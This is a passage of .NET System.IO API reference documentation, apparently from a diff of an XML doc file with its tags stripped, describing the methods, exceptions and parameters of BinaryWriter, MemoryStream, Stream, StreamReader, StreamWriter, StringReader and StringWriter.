error occurs. + The stream is closed. + 1 + + + Writes an unsigned byte to the current stream and advances the stream position by one byte. + The unsigned byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a byte array to the underlying stream. + A byte array containing the data to write. + An I/O error occurs. + The stream is closed. + + is null. + 1 + + + Writes a region of a byte array to the current stream. + A byte array containing the data to write. + The starting point in at which to begin writing. + The number of bytes to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a Unicode character to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + The non-surrogate, Unicode character to write. + An I/O error occurs. + The stream is closed. + + is a single surrogate character. + 1 + + + Writes a character array to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + A character array containing the data to write. + + is null. + The stream is closed. + An I/O error occurs. + 1 + + + Writes a section of a character array to the current stream, and advances the current position of the stream in accordance with the Encoding used and perhaps the specific characters being written to the stream. + A character array containing the data to write. + The starting point in from which to begin writing. + The number of characters to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a decimal value to the current stream and advances the stream position by sixteen bytes. + The decimal value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte floating-point value to the current stream and advances the stream position by eight bytes. + The eight-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a two-byte signed integer to the current stream and advances the stream position by two bytes. + The two-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte signed integer to the current stream and advances the stream position by four bytes. + The four-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte signed integer to the current stream and advances the stream position by eight bytes. + The eight-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a signed byte to the current stream and advances the stream position by one byte. + The signed byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte floating-point value to the current stream and advances the stream position by four bytes. + The four-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a length-prefixed string to this stream in the current encoding of the , and advances the current position of the stream in accordance with the encoding used and the specific characters being written to the stream. + The value to write. + An I/O error occurs. + + is null. + The stream is closed. + 1 + + + Writes a two-byte unsigned integer to the current stream and advances the stream position by two bytes. + The two-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte unsigned integer to the current stream and advances the stream position by four bytes. + The four-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte unsigned integer to the current stream and advances the stream position by eight bytes. + The eight-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a 32-bit integer in a compressed format. + The 32-bit integer to be written. + The end of the stream is reached. + The stream is closed. + The stream is closed. + + + The exception that is thrown when reading is attempted past the end of a stream. + 2 + + + Initializes a new instance of the class with its message string set to a system-supplied message and its HRESULT set to COR_E_ENDOFSTREAM. + + + Initializes a new instance of the class with its message string set to and its HRESULT set to COR_E_ENDOFSTREAM. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + + + Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + The exception that is thrown when a data stream is in an invalid format. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with a specified error message. + The error message that explains the reason for the exception. + + + Initializes a new instance of the class with a reference to the inner exception that is the cause of this exception. + The error message that explains the reason for the exception. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + Creates a stream whose backing store is memory.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class with an expandable capacity initialized to zero. + + + Initializes a new non-resizable instance of the class based on the specified byte array. + The array of unsigned bytes from which to create the current stream. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified byte array with the property set as specified. + The array of unsigned bytes from which to create this stream. + The setting of the property, which determines whether the stream supports writing. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified region (index) of a byte array. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + + is null. + + or is less than zero. + The buffer length minus is less than . + + + Initializes a new non-resizable instance of the class based on the specified region of a byte array, with the property set as specified. + The array of unsigned bytes from which to create this stream. + The index in at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + + is null. + + or are negative. + The buffer length minus is less than . + + + Initializes a new instance of the class based on the specified region of a byte array, with the property set as specified, and the ability to call set as specified. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + true to enable , which returns the unsigned byte array from which the stream was created; otherwise, false. + + is null. + + or is negative. + The buffer length minus is less than . + + + Initializes a new instance of the class with an expandable capacity initialized as specified. + The initial size of the internal array in bytes. + + is negative. + + + Gets a value indicating whether the current stream supports reading. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports seeking. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 2 + + + Gets or sets the number of bytes allocated for this stream. + The length of the usable portion of the buffer for the stream. + A capacity is set that is negative or less than the current length of the stream. + The current stream is closed. + set is invoked on a stream whose capacity cannot be modified. + 2 + + + Asynchronously reads all the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. + The token to monitor for cancellation requests. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Overrides the method so that no action is performed. + 2 + + + Asynchronously clears all buffers for this stream, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. + The stream has been disposed. + + + Gets the length of the stream in bytes. + The length of the stream in bytes. + The stream is closed. + 2 + + + Gets or sets the current position within the stream. + The current position within the stream. + The position is set to a negative value or a value greater than . + The stream is closed. + 2 + + + Reads a block of bytes from the current stream and writes the data to a buffer. + The total number of bytes written into the buffer. This can be less than the number of bytes requested if that number of bytes are not currently available, or zero if the end of the stream is reached before any bytes are read. + When this method returns, contains the specified byte array with the values between and ( + - 1) replaced by the characters read from the current stream. + The zero-based byte offset in at which to begin storing data from the current stream. + The maximum number of bytes to read. + + is null. + + or is negative. + + subtracted from the buffer length is less than . + The current stream instance is closed. + 2 + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the current stream. + The byte cast to a , or -1 if the end of the stream has been reached. + The current stream instance is closed. + 2 + + + Sets the position within the current stream to the specified value. + The new position within the stream, calculated by combining the initial reference point and the offset. + The new position within the stream. This is relative to the parameter, and can be positive or negative. + A value of type , which acts as the seek reference point. + Seeking is attempted before the beginning of the stream. + + is greater than . + There is an invalid . -or- caused an arithmetic overflow. + The current stream instance is closed. + 2 + + + Sets the length of the current stream to the specified value. + The value at which to set the length. + The current stream is not resizable and is larger than the current capacity.-or- The current stream does not support writing. + + is negative or is greater than the maximum length of the , where the maximum length is( - origin), and origin is the index into the underlying buffer at which the stream starts. + 2 + + + Writes the stream contents to a byte array, regardless of the property. + A new byte array. + 2 + + + Returns the array of unsigned bytes from which this stream was created. The return value indicates whether the conversion succeeded. + true if the conversion was successful; otherwise, false. + The byte array segment from which this stream was created. + + + Writes a block of bytes to the current stream using data read from a buffer. + The buffer to write data from. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The maximum number of bytes to write. + + is null. + The stream does not support writing. For additional information see .-or- The current position is closer than bytes to the end of the stream, and the capacity cannot be modified. + + subtracted from the buffer length is less than . + + or are negative. + An I/O error occurs. + The current stream instance is closed. + 2 + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current stream at the current position. + The byte to write. + The stream does not support writing. For additional information see .-or- The current position is at the end of the stream, and the capacity cannot be modified. + The current stream is closed. + 2 + + + Writes the entire contents of this memory stream to another stream. + The stream to write this memory stream to. + + is null. + The current or target stream is closed. + 2 + + + Specifies the position in a stream to use for seeking. + 2 + + + Specifies the beginning of a stream. + + + Specifies the current position within a stream. + + + Specifies the end of a stream. + + + Provides a generic view of a sequence of bytes. This is an abstract class.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class. + + + When overridden in a derived class, gets a value indicating whether the current stream supports reading. + true if the stream supports reading; otherwise, false. + 1 + + + When overridden in a derived class, gets a value indicating whether the current stream supports seeking. + true if the stream supports seeking; otherwise, false. + 1 + + + Gets a value that determines whether the current stream can time out. + A value that determines whether the current stream can time out. + 2 + + + When overridden in a derived class, gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 1 + + + Reads the bytes from the current stream and writes them to another stream. + The stream to which the contents of the current stream will be copied. + + is null. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + The stream to which the contents of the current stream will be copied. + The size of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Asynchronously reads the bytes from the current stream and writes them to another stream. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + + is null. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + The token to monitor for cancellation requests. The default value is . + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases all resources used by the . + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, clears all buffers for this stream and causes any buffered data to be written to the underlying device. + An I/O error occurs. + 2 + + + Asynchronously clears all buffers for this stream and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Asynchronously clears all buffers for this stream, causes any buffered data to be written to the underlying device, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. The default value is . + The stream has been disposed. + + + When overridden in a derived class, gets the length in bytes of the stream. + A long value representing the length of the stream in bytes. + A class derived from Stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + A Stream with no backing store. + 1 + + + When overridden in a derived class, gets or sets the position within the current stream. + The current position within the stream. + An I/O error occurs. + The stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not currently available, or zero (0) if the end of the stream has been reached. + An array of bytes. When this method returns, the buffer contains the specified byte array with the values between and ( + - 1) replaced by the bytes read from the current source. + The zero-based byte offset in at which to begin storing the data read from the current stream. + The maximum number of bytes to be read from the current stream. + The sum of and is larger than the buffer length. + + is null. + + or is negative. + An I/O error occurs. + The stream does not support reading. + Methods were called after the stream was closed. + 1 + + + Asynchronously reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the stream and advances the position within the stream by one byte, or returns -1 if at the end of the stream. + The unsigned byte cast to an Int32, or -1 if at the end of the stream. + The stream does not support reading. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to read before timing out. + A value, in miliseconds, that determines how long the stream will attempt to read before timing out. + The method always throws an . + 2 + + + When overridden in a derived class, sets the position within the current stream. + The new position within the current stream. + A byte offset relative to the parameter. + A value of type indicating the reference point used to obtain the new position. + An I/O error occurs. + The stream does not support seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, sets the length of the current stream. + The desired length of the current stream in bytes. + An I/O error occurs. + The stream does not support both writing and seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 2 + + + When overridden in a derived class, writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + An array of bytes. This method copies bytes from to the current stream. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The number of bytes to be written to the current stream. + The sum of  and  is greater than the buffer length. + + is null. + + or  is negative. + An I/O error occured, such as the specified file cannot be found. + The stream does not support writing. + + was called after the stream was closed. + 1 + + + Asynchronously writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current position in the stream and advances the position within the stream by one byte. + The byte to write to the stream. + An I/O error occurs. + The stream does not support writing, or the stream is already closed. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to write before timing out. + A value, in miliseconds, that determines how long the stream will attempt to write before timing out. + The method always throws an . + 2 + + + Implements a that reads characters from a byte stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream. + The stream to be read. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified byte order mark detection option. + The stream to be read. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding. + The stream to be read. + The character encoding to use. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding and byte order mark detection option. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding, byte order mark detection option, and buffer size. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + The minimum buffer size. + The stream does not support reading. + + or is null. + + is less than or equal to zero. + + + Initializes a new instance of the class for the specified stream based on the specified character encoding, byte order mark detection option, and buffer size, and optionally leaves the stream open. + The stream to read. + The character encoding to use. + true to look for byte order marks at the beginning of the file; otherwise, false. + The minimum buffer size. + true to leave the stream open after the object is disposed; otherwise, false. + + + Returns the underlying stream. + The underlying stream. + 2 + + + Gets the current character encoding that the current object is using. + The current character encoding used by the current reader. The value can be different after the first call to any method of , since encoding autodetection is not done until the first call to a method. + 2 + + + Clears the internal buffer. + 2 + + + Closes the underlying stream, releases the unmanaged resources used by the , and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets a value that indicates whether the current stream position is at the end of the stream. + true if the current stream position is at the end of the stream; otherwise false. + The underlying stream has been disposed. + 1 + + + A object around an empty stream. + 1 + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if there are no characters to be read or if the stream does not support seeking. + An I/O error occurs. + 1 + + + Reads the next character from the input stream and advances the character position by one character. + The next character from the input stream represented as an object, or -1 if no more characters are available. + An I/O error occurs. + 1 + + + Reads a specified maximum of characters from the current stream into a buffer, beginning at the specified index. + The number of characters that have been read, or 0 if at the end of the stream and no data was read. The number will be less than or equal to the parameter, depending on whether the data is available within the stream. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The index of at which to begin writing. + The maximum number of characters to read. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs, such as the stream is closed. + 1 + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current stream and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurred. + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current stream and returns the data as a string. + The next line from the input stream, or null if the end of the input stream is reached. + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads a line of characters asynchronously from the current stream and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the stream, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the stream. + The rest of the stream as a string, from the current position to the end. If the current position is at the end of the stream, returns an empty string (""). + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads all characters from the current position to the end of the stream asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the stream. + The number of characters is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing characters to a stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream by using UTF-8 encoding and the default buffer size. + The stream to write to. + + is not writable. + + is null. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and the default buffer size. + The stream to write to. + The character encoding to use. + + or is null. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + + or is null. + + is negative. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size, and optionally leaves the stream open. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + true to leave the stream open after the object is disposed; otherwise, false. + + or is null. + + is negative. + + is not writable. + + + Gets or sets a value indicating whether the will flush its buffer to the underlying stream after every call to . + true to force to flush its buffer; otherwise, false. + 1 + + + Gets the underlying stream that interfaces with a backing store. + The stream this StreamWriter is writing to. + 2 + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + The current encoding does not support displaying half of a Unicode surrogate pair. + + + Gets the in which the output is written. + The specified in the constructor for the current instance, or if an encoding was not specified. + 2 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying stream. + The current writer is closed. + An I/O error has occurred. + The current encoding does not support displaying half of a Unicode surrogate pair. + 1 + + + Clears all buffers for this stream asynchronously and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Provides a StreamWriter with no backing store that can be written to, but not read from. + 1 + + + Writes a character to the stream. + The character to write to the stream. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a character array to the stream. + A character array containing the data to write. If is null, nothing is written. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a subarray of characters to the stream. + A character array that contains the data to write. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The buffer length minus is less than . + + or is negative. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a string to the stream. + The string to write to the stream. If is null, nothing is written. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + An I/O error occurs. + 1 + + + Writes a character to the stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the stream asynchronously. + A task that represents the asynchronous write operation. + A character array that contains the data to write. + The character position in the buffer at which to begin reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string to the stream asynchronously. + A task that represents the asynchronous write operation. + The string to write to the stream. If is null, nothing is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Implements a that reads from a string. + 2 + + + Initializes a new instance of the class that reads from the specified string. + The string to which the should be initialized. + The parameter is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + The current reader is closed. + 2 + + + Reads the next character from the input string and advances the character position by one character. + The next character from the underlying string, or -1 if no more characters are available. + The current reader is closed. + 2 + + + Reads a block of characters from the input string and advances the character position by . + The total number of characters read into the buffer. This can be less than the number of characters requested if that many characters are not currently available, or zero if the end of the underlying string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The starting index in the buffer. + The number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The current reader is closed. + 2 + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current string and returns the data as a string. + The next line from the current string, or null if the end of the string is reached. + The current reader is closed. + There is insufficient memory to allocate a buffer for the returned string. + 2 + + + Reads a line of characters asynchronously from the current string and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the string reader, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the string and returns them as a single string. + The content from the current position to the end of the underlying string. + There is insufficient memory to allocate a buffer for the returned string. + The current reader is closed. + 2 + + + Reads all characters from the current position to the end of the string asynchronously and returns them as a single string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the string. + The number of characters is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing information to a string. The information is stored in an underlying . + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format control. + An object that controls formatting. + + + Initializes a new instance of the class that writes to the specified . + The StringBuilder to write to. + + is null. + + + Initializes a new instance of the class that writes to the specified and has the specified format provider. + The StringBuilder to write to. + An object that controls formatting. + + is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets the in which the output is written. + The Encoding in which the output is written. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + + + Returns the underlying . + The underlying StringBuilder. + 2 + + + Returns a string containing the characters written to the current StringWriter so far. + The string containing the characters written to the current StringWriter. + 2 + + + Writes a character to the string. + The character to write. + The writer is closed. + 2 + + + Writes a subarray of characters to the string. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + + or is negative. + ( + )> . Length. + The writer is closed. + 2 + + + Writes a string to the current string. + The string to write. + The writer is closed. + 2 + + + Writes a character to the string asynchronously. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the string asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string to the current string asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the current string. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Represents a reader that can read a sequential series of characters. + 2 + + + Initializes a new instance of the class. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Provides a TextReader with no data to 